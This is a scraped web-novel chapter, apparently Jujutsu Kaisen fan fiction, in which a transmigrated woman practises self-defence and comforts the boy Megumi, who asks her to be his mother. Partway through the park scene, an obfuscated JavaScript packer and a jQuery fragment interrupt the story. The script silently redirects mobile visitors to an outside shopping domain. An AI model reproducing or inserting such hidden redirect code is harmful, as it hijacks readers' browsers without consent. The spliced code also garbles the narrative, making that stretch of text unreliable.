文趣网 > 都市小说 > 偏执甚尔饲养手册 > 9. Chapter9
    铃木萌花一整个晚上没睡好。

    三名术师,其中一人咒力量级接近一级。她问系统,一级是什么概念。

    系统的回答简短:“大约可以徒手拆掉一栋六层居民楼。”

    她听完之后,默默把被子拉上来了一点,盯着黑漆漆的天花板躺到天亮。

    新住处的隔音一般,整夜都能听见风从门缝里钻进来的呜咽。

    第二天醒来时,她眼底挂着一圈明显的青黑。

    惠看见她,歪着头问:“姐姐生病了吗?”

    “没。”萌花笑了一下,把他往餐桌前推,“就是没睡好。”

    惠爬上椅子,两条小短腿在桌下晃了几下,没再追问。

    早餐是昨天剩下的米饭热成的饭团,裹着海苔。

    甚尔照例不在。

    萌花甚至不知道他夜里有没有回来过。

    客厅的烟灰缸里多了一个烟头,玄关处少了一双鞋。

    除此之外,这栋房子里再没有他留下的痕迹。

    吃过早饭,萌花把惠安顿在客厅画画。

    她把窗帘拉开一半,让光透进来,又给惠倒了杯麦茶放在小桌上。

    惠盘腿坐在地板上,翻开那本浅蓝色的图画本。萌花站在他身后看了一小会儿,随后,便轻手轻脚地走到了院子里。

    昨夜下过雨,院里的泥地还没干透,踩上去又软又黏。墙根那排野草被雨水浇过,叶子绿油油的。

    空气里有股泥腥味,混着远处人家煮味噌汤的香气。

    这是一个和咒术、和杀戮完全无关的早晨。

    萌花站在那棵还没长出新叶的老树下,在心里叫系统。

    “你昨天说,我可以学点防身的东西。”

    系统“叮”地应声:“是,宿主无咒力,无法修行咒术。但可通过系统商城获取普通人类的格斗技能与逃脱课程。推荐先修习‘女子防身术·速成版’,十六课时,可在一周内掌握基础关节技与薄弱部位打击。”

    “免费吗?”

    “首课免费,后续课程将消耗系统积分。”

    萌花翻了个白眼:“积分哪来?”

    “完成任务、提升攻略目标好感值、达成日常成就等,均可获得积分。”

    “也就是说,我得边带孩子边做任务,才有钱买技能?真是穿越界的福报。”她深吸一口气,“行吧,先上一节。”

    系统在她眼前展开一幅半透明面板,上面出现一个女性人形图像,标注着各个关节与脆弱点。

    动作分解很细致,从手肘、膝弯到下颌、咽喉,每一步都配了讲解。

    萌花照着图,笨手笨脚地开始练习。

    她先学站姿。

    系统说重心要低,膝盖微屈,双拳护在脸侧,肘部贴紧身体。

    萌花摆出架势,活像只被逼到墙角后决定拼命的鸡。出拳时力道全无,收脚时身体摇摇晃晃,差点把自己绊倒。

    她“嘶”地倒吸一口气,扶住树干站稳。

    “再来。”系统说。

    她又试了三次,终于能把一个侧踢踢得稍微像点样子。汗从额角滑下来,黏得她浑身难受。

    萌花想起昨晚甚尔靠在门外的样子,浑身湿透,指节上全是血。

    她那时候除了发抖,什么都不会。

    她恨透了这种无能为力的感觉。

    以前在职场上,她再难也能咬牙撑住,因为对手是人。

    可这个世界不一样。

    这里的敌人,她连看都看不见。

    她必须学会点什么,哪怕只是如何逃跑,如何拖延,如何在最关键的那几秒里,不让自己变成一个纯粹的累赘。

    惠不知什么时候出来了,坐在后门口的石阶上,手里还攥着一支蓝色铅笔。

    他看得很专心,眼睛一眨不眨。

    萌花注意到他,喘着气问:“你什么时候出来的?”

    “刚刚。”惠说,“你打拳的样子,像只企鹅。”

    萌花差点一口气没上来。

    她停下来,双手撑着膝盖,半笑半喘:“企鹅?我这么努力,你居然说我像企鹅。”

    惠没笑,认真地说:“但是是一只很勇敢的企鹅。”

    萌花看着惠,顿时说不出话。

    这孩子夸人的方式,和他爸一样,拐弯抹角,却总能刚好戳中她最软的地方。

    “你要不要学?”她直起身,朝他招招手,“姐姐教你,以后可以保护自己。”

    惠眨了眨眼,然后把铅笔放到台阶上,小步跑过来。

    萌花蹲下身,帮他摆好姿势。他的拳头攥得小小的,脸上表情极其严肃。

    萌花没忍住,笑出声来。

    惠不解地看她,她赶紧敛住笑,说:“来,跟我一起,喊‘嘿’。”

    “嘿。”惠小声喊。

    “太软了,再来。”

    “嘿!”

    “好,再用力一点,踢出去!”

    “嘿!”

    两个人于是并排站在院子里,萌花一个“嘿”,惠一个“嘿”,出拳踢腿,动作七零八落,却格外起劲。

    惠的小短腿踢到一半就会失去平衡,整个人歪向一边,萌花一把扶住他,两人笑作一团。

    阳光慢慢从云层里钻出来,萌花带着惠练到两个人都出了汗,才气喘吁吁地坐回台阶上。

    她给惠倒了杯水,惠抱着杯子,小口小口喝,鼻尖上还挂着汗珠。

    萌花用袖口给他擦了擦,他一笑,就露出缺了颗门牙的一排小乳牙。

    萌花看着他的小脸,心里软得不成样。

    ***

    午后,萌花看惠在屋里待得闷,便带他出了门。

    这附近比埼玉的老街更安静,走上一小段路,就能看见一片小公园。

    沙坑、滑梯、秋千,还有几个年纪相仿的孩子在追跑。

    惠明显高兴起来,步子都轻快了些。他跑向秋千,很熟练地爬上去,自己用脚蹬地,一荡一荡地晃。

    萌花坐在旁边的长椅上,看着他。

    雨后的天蓝得透彻,云一缕一缕挂在天边。

    空气里有草叶味和混着沙坑里被阳光晒暖的土味。

    萌花仰起脸,她已经不记得上一次这样晒太阳是什么时候了。

    上一世,她的白天属于办公室,屏幕上跳不完的数据和永远回不完的消息。

    阳光对她来说,只是从窗户缝里漏进来的那一小片,和加湿器喷出的雾气混在一起,短暂又无用。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971095|214646||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没多久,一个圆头圆脑的小男孩从滑梯后头钻出来,手里举着根树枝,跑过来站到惠面前,仰着脸说:“一起玩吗?我们少个勇士!”

    惠停下秋千,看了看那个男孩,又扭头看萌花。

    萌花笑着点头。

    惠便跳下来,两个小孩跑去追一只并不存在的怪兽,在公园里“呼呼哈嘿”地闹腾了一下午。

    萌花坐在长椅上,看他们从滑梯上滚下来,又爬起来继续跑。

    惠的脸上始终带着笑,那种属于孩子的、忘乎所以的笑。

    那男孩叫阿健,就住附近。

    他玩累了,一屁股坐在惠旁边的沙坑边,呼哧呼哧喘气,忽然冒出一句:“你妈妈真年轻啊,我妈妈都有白头发了。”

    空气忽然安静了一下。

    惠愣住了,萌花也僵了一下。

    阿健没察觉,继续大咧咧地说:“我妈妈都不让我吃冰淇淋,你妈妈会给你买吗?”

    惠没说话,他低着头。

    萌花正想开口打圆场,就听见阿健又说:“你怎么不说话?我问你妈妈的事呢。”

    “她……”惠张了张嘴,声音很小,“她不是……”

    他没能说完。

    萌花看见他的耳尖一点点红起来,又羞又急。

    她心里一紧,正想岔开话题,阿健已经被他妈妈叫走了。

    小男孩挥手说再见,可惠还坐在沙坑边,头垂得低低的。

    萌花走过去,在他旁边蹲下。

    她没说话,只轻轻把手覆在他膝盖上。

    “阿健没有恶意。”萌花小声说,“你别放心上。”

    惠摇摇头,过了好一会儿,他才低声问:“你可以当我妈妈吗?”

    萌花的心脏像被人用力握了一下。

    系统在脑中紧急跳出来:“注意!伏黑惠正在确认宿主在其人生中的定位。该问题关系到攻略线的性质判定,请宿主谨慎回答!”

    萌花看着惠,她想起无数个夜晚,惠趴在窗边等甚尔回家的样子;想起他吃饭时总要看一眼玄关,确认有没有人推门进来;想起他画的那条长着尖牙的鱼,蓝色的海,红色的地。

    这孩子拥有的东西太少了。

    她慢慢呼出一口气,蹲得更低了些,直到能看见惠的眼睛。

    “你可以叫。”她说,“但不管你叫或者不叫,我都会在。”

    惠抬起头,他的眼睛红了一点点,又抿了抿嘴,过了几秒,才很小声地叫了一句。

    “……妈妈。”

    萌花笑着伸手,把惠整个搂进怀里。

    惠的小手慢慢环上她的背,抓得紧紧的。风从河堤那边吹过来,把两个人的头发都吹乱了。

    远处的河堤上,甚尔站在那里。

    风轻轻地掀起他额前的黑发。

    他慢慢把目光移开,抬头看了眼天边被风吹散的云。随后他转身,朝河堤下走去,步子和平常一样懒散。

    只走了几步,他又停住了,从兜里摸出根烟,叼在唇间,没点燃。

    打火机在他指间转了一圈,发出“咔”地一声轻响。

    甚尔把烟从唇间取下来,在指间慢慢碾了几下,然后插回烟盒。

    他忽然不想抽了。